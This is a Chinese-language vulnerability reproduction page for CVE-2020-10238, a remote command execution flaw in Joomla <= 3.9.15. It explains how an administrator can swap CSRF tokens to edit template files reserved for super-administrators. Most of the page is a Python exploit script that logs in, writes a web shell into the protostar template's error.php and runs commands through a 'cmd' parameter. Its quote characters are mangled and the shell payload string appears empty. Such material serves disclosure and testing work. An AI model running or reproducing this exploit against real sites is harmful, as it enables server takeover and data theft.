（CVE-2020-10238）Joomla__=_3.9.15_远程命令执行漏洞

# （CVE-2020-10238）Joomla <= 3.9.15 远程命令执行漏洞 ============ 一、漏洞简介 ------------ 二、漏洞影响 ------------ \<= 3.9.15 三、复现过程 ------------ http://www.0-sec.org/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ== 使用admin进行登录  ### 思路： - 首先超级管理员跟管理员的后台界面是不同的 - 将恶意代码添加到index.php里面 - 使用管理员账户修改index.php，通过超级管理员进行index.php的文件编辑来获取到返回请求。  > 为了方便阅读，这里我们删掉index.php的内容，只保留shell


> 黄色部分为超级管理员的token，Joomal通过此令牌来防止csrf

这里我们先在burp里面保存此请求，先试用管理员账户进行登录，获取一下管理员账户的token。



> 如上图黄色部分为管理员的token，我们用管理员的token替换超级管理员的token，并且编辑url




### poc


#!/usr/bin/python
import sys
import requests
import re
import argparse

def extract_token(resp):
match = re.search(r’name=”([a-f0-9]{32})” value=”1″‘, resp.text, re.S)
if match is None:
print(“[-] Cannot find CSRF token!\n”) + “[-] You are not admin account!”
return None
return match.group(1)
def try_admin_login(sess,url,uname,upass):
admin_url = url+’/administrator/index.php’
print(‘[+] Getting token for admin login’)
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
# print token
if not token:
return False
print(‘[+] Logging in to admin’)
data = {
‘username’: uname,
‘passwd’: upass,
‘task’: ‘login’,
token: ‘1’
}
resp = sess.post(admin_url, data=data, verify=True)
if ‘task=profile.edit’ not in resp.text:
print(‘[!] Admin Login Failure!’)
return None
print(‘[+] Admin Login Successfully!’)
return True

def rce(sess,url,cmd):
getjs = url + ‘/administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA%3D%3D’
resp = sess.get(getjs, verify=True)
token = extract_token(resp)
if (token==None) : sys.exit()
filename=’error.php’
shlink = url + ‘/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D’
shdata_up = {
‘jform[source]’: ““,
‘task’: ‘template.apply’,
token: ‘1’,
‘jform[extension_id]’: ‘506’,
‘jform[filename]’: ‘/’ + filename
}
shreq = sess.post(shlink, data=shdata_up)
path2shell = ‘/templates/protostar/error.php?cmd=’+cmd
# print ‘[+] Shell is ready to use: ‘ + str(path2shell)
print ‘[+] Checking:’
shreq = sess.get(url + path2shell)
shresp = shreq.text
print shresp + ‘[+] Shell link: \n’ + (url + path2shell)
print ‘[+] Module finished.’

def main() :

# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument(“-url”, “–url”, required=True,
help=” URL for your Joomla target”)
ap.add_argument(“-u”, “–username”, required=True,
help=”username”)
ap.add_argument(“-p”, “–password”, required=True,
help=”password”)
ap.add_argument(“-cmd”, “–command”, default=”whoami”,
help=”command”)
args = vars(ap.parse_args())
# target
url = format(str(args[‘url’]))
print ‘[+] Your target: ‘ + url
# username
uname = format(str(args[‘username’]))
# password
upass = format(str(args[‘password’]))
# command
command = format(str(args[‘command’]))

sess = requests.Session()
if(try_admin_login(sess,url,uname,upass) == None) : sys.exit()
rce(sess,url,command)
if __name__ == “__main__”:
sys.exit(main())

参考链接
——–

> https://github.com/HoangKien1020/CVE-2020-10238/tree/master/CVE-2020-10238